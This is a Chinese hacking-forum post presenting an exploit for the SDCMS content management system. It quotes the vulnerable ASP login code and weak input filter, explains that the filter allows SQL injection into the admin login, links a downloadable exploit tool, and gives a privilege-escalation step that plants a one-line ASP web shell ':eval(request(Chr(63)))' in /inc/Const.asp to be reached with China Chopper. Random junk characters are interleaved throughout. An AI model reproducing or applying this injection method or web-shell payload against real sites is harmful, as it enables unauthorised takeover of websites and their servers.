SDCMS通杀漏洞利用工具及提权拿SHELL

admin

作者：T00LS 鬼哥
$ R1 f9 V1 ~' J# e1 q漏洞文件：后台目录/index.asp

Sub Check
* |) I& w: U1 l, [: G, v  m. S& t- r    Dim username,password,code,getcode,Rs
- r: Z- ~$ o8 k' `  q( L    IF Check_post Then Echo "1禁止从外部提交数据!":Exit Sub
    username=FilterText(Trim(Request.Form("username")),1)
    password=FilterText(Trim(Request.Form("password")),1)
    code=Trim(Request.Form("yzm"))
' N5 K6 ^- V) L3 }" f! B    getcode=Session("SDCMSCode")
- v# U0 i, f! {; B" m    IF errnum>=loginnum Then Echo "系统已禁止您今日再登录":died
; H8 Y# i- P' M% O* C    IF code="" Then Alert "验证码不能为空！","javascript:history.go(-1)"ied
1 d% F, r. \, G5 _3 C) q8 x    IF code<>"" And Not Isnumeric(code) Then Alert "验证码必须为数字！","javascript:history.go(-1)"ied
    IF code<>getcode Then Alert "验证码错误！","javascript:history.go(-1)"ied
    IF username="" or password="" Then
# M: ^$ I+ G; \% O        Echo "用户名或密码不能为空"ied
    Else
- Y7 \0 x2 H2 d# [. o        Set Rs=Conn.Execute("Select Id,Sdcms_Name,Sdcms_Pwd,isadmin,alllever,infolever From Sd_Admin Where Sdcms_name='"&username&"' And Sdcms_Pwd='"&md5(password)&"'")
        IF Rs.Eof Then
2 v6 w5 A2 \$ |' t2 d- A            AddLog username,GetIp,"登录失败",1
& E0 E1 a9 ^, U7 s6 m+ l* r2 E            Echo "用户名或密码错误,今日还有 "&loginnum-errnum&" 次机会"
) U; `. a" |; _0 g% C! D: y2 i        Else
            Add_Cookies "sdcms_id",Rs(0)
            Add_Cookies "sdcms_name",username
0 R4 O; J7 q; a' o            Add_Cookies "sdcms_pwd",Rs(2)
            Add_Cookies "sdcms_admin",Rs(3)
! c- L. E+ }6 N- j            Add_Cookies "sdcms_alllever",Rs(4)
            Add_Cookies "sdcms_infolever",Rs(5)
8 A+ [  _. v5 M1 @. `7 i) y            Conn.Execute("Update Sd_Admin Set logintimes=logintimes+1,LastIp='"&GetIp&"' Where id="&Rs(0)&"")
- j0 A6 t& d+ n7 z3 C  G1 k7 d' Y            AddLog username,GetIp,"登录成功",1
/ r/ t% G% |" z9 D: x            '自动删除30天前的Log记录
* P0 `4 k9 p, Y& f0 ~- q1 n            IF Sdcms_DataType Then
                Conn.Execute("Delete From Sd_Log Where DateDiff('d',adddate,Now())>30")
* F; q  N: ~- \* }# k. O. U4 n            Else
                Conn.Execute("Delete From Sd_Log Where DateDiff(d,adddate,GetDate())>30")
0 F8 _' G- M; t6 L            End IF
            Go("sdcms_index.asp")
        End IF
        Rs.Close
        Set Rs=Nothing
' J( }/ X* G4 O) q    End IF
End Sub
5 ?# G$ S+ k2 a! j) N
’我们可以看到username是通过FilterText来过滤的。我们看看FilterText的代码

Function FilterText(ByVal t0,ByVal t1)
    IF Len(t0)=0 Or IsNull(t0) Or IsArray(t0) Then FilterText="":Exit Function
8 r# G$ y6 C' E; p2 E    t0=Trim(t0)
( Y+ z' v0 e' h% p, m% x    Select Case t1
        Case "1"
            t0=Replace(t0,Chr(32),"")
            t0=Replace(t0,Chr(13),"")
            t0=Replace(t0,Chr(10)&Chr(10),"")
            t0=Replace(t0,Chr(10),"")
! D0 ~6 Y6 q5 A: [/ _0 A- q7 E        Case "2"
; P! o, e  N1 b7 o, s5 }            t0=Replace(t0,Chr(8),"")'回格
            t0=Replace(t0,Chr(9),"")'tab(水平制表符)
1 {* A4 X/ M, k) O: S" g6 f+ i            t0=Replace(t0,Chr(10),"")'换行
( u+ }# L# a. b, q" A- V* j2 H            t0=Replace(t0,Chr(11),"")'tab(垂直制表符)
            t0=Replace(t0,Chr(12),"")'换页
7 ^5 m( B1 l, g/ E            t0=Replace(t0,Chr(13),"")'回车 chr(13)&chr(10) 回车和换行的组合
            t0=Replace(t0,Chr(22),"")
            t0=Replace(t0,Chr(32),"")'空格 SPACE
            t0=Replace(t0,Chr(33),"")'!
            t0=Replace(t0,Chr(34),"")'"
) X& i$ R9 x3 l1 y& O; r4 @            t0=Replace(t0,Chr(35),"")'#
            t0=Replace(t0,Chr(36),"")'$
            t0=Replace(t0,Chr(37),"")'%
            t0=Replace(t0,Chr(38),"")'&
$ F& W( ]5 j7 |; O( f; {            t0=Replace(t0,Chr(39),"")''
            t0=Replace(t0,Chr(40),"")'(
            t0=Replace(t0,Chr(41),"")')
            t0=Replace(t0,Chr(42),"")'*
0 k  x, a$ Z* ?4 _9 Y6 ?2 l  z            t0=Replace(t0,Chr(43),"")'+
            t0=Replace(t0,Chr(44),"")',
% H0 {4 C7 R- U% O            t0=Replace(t0,Chr(45),"")'-
            t0=Replace(t0,Chr(46),"")'.
: X. V/ d" ~8 P9 _  Z            t0=Replace(t0,Chr(47),"")'/
9 {$ B* [5 N; O4 ~( e* R            t0=Replace(t0,Chr(58),"")':
            t0=Replace(t0,Chr(59),"")';
' d$ N$ M' M! E( \            t0=Replace(t0,Chr(60),"")'<             t0=Replace(t0,Chr(61),"")'=             t0=Replace(t0,Chr(62),"")'>
. f5 d' h7 \3 F% o* R0 w7 Y- e            t0=Replace(t0,Chr(63),"")'?
            t0=Replace(t0,Chr(64),"")'@
            t0=Replace(t0,Chr(91),"")'\
9 Y. o& u, I$ H/ k+ T            t0=Replace(t0,Chr(92),"")'\
            t0=Replace(t0,Chr(93),"")']
            t0=Replace(t0,Chr(94),"")'^
3 X& v/ t; c, ?0 h% S3 x+ T. W            t0=Replace(t0,Chr(95),"")'_
            t0=Replace(t0,Chr(96),"")'`
' J7 _% r8 q4 `* R8 r+ j            t0=Replace(t0,Chr(123),"")'{
            t0=Replace(t0,Chr(124),"")'|
3 w9 o" M+ W$ |! R            t0=Replace(t0,Chr(125),"")'}
            t0=Replace(t0,Chr(126),"")'~
/ G; \: V& x! h8 u    Case Else
" Z; V) O$ k, S        t0=Replace(t0, "&", "&")
        t0=Replace(t0, "'", "'")
; h7 L# l- q/ \' }, Z" O        t0=Replace(t0, """", """)
        t0=Replace(t0, "<", "<")         t0=Replace(t0, ">", ">")
    End Select
! m; m6 [" s; F, Z    IF Instr(Lcase(t0),"expression")>0 Then
) M+ O8 t& ]3 F9 L( H        t0=Replace(t0,"expression","e&shy;xpression", 1, -1, 0)
    End If
" ]1 N- V, A+ D( Q9 u& z. J( d    FilterText=t0
End Function

8 ~% n2 A0 u  R8 I看到没。直接参数是1 只过滤
  M" a8 \. l6 `0 d3 {% K; b2 @, n                        t0=Replace(t0,Chr(32)," ")
) K$ W' Z- p9 q3 O0 w! E                        t0=Replace(t0,Chr(13),"")
                        t0=Replace(t0,Chr(10)&Chr(10),"
7 ^4 y7 o# o4 b- P) S. x")
                        t0=Replace(t0,Chr(10),"
")
7 M5 ^8 x- S# v% u漏洞导致可以直接拿到后台帐号密码。SDCMS默认后台地址/admin/如果站长改了后台路径,那么请自行查找!
EXP利用工具下载 (此工具只能在XP上运行):sdcms-EXP
3 f# h& F3 r, u3 G( S# e
+ s! J+ h+ `- k+ L% z! c测试:

, y2 g$ x; G: V3 {" R3 Q1 o3 n
现在输入工具上验证码,然后点OK


$ l" N* r% s8 a6 F看到我们直接进入后台管理界面了,呵呵!
$ U* z. @4 ^0 y# L& x# M
3 a! V. U% h8 l4 ]0 Z
3 Z' d9 l4 p9 N( `' l6 _
! j2 s* z1 t# \% n' H& T; A5 p这样直接进入后台了。。。。

: {" f8 m! E5 r4 r  _2 m. `8 m( ^$ N
0 ?6 W- G% v) i; H
$ b9 T4 j% l1 C& kSDCMS提权:
1 h5 _" A9 J$ f. @' v) s
方法1：访问：/后台目录/sdcms_set.asp 在 网站名称：后面加个 “:eval(request(Chr(63)))’  即可，直接写一句话进去。 写入到/inc/Const.asp 一句话连接密码是?
2 T1 h3 B# F; l" A  _8 e( d
3 X8 [0 w! p' ]* Q; A1 I2 R0 M2 n
% ]5 z% J9 s  t; {
( f: e5 R& N/ w" M0 a/ oOK,现在用菜刀连接下!

! R/ K! M3 i- U* i: U
7 N, j  t! D' W- K- _7 G
# }0 Q4 t$ Q; ~6 `0 _& }
" n1 e. O0 ?$ H: I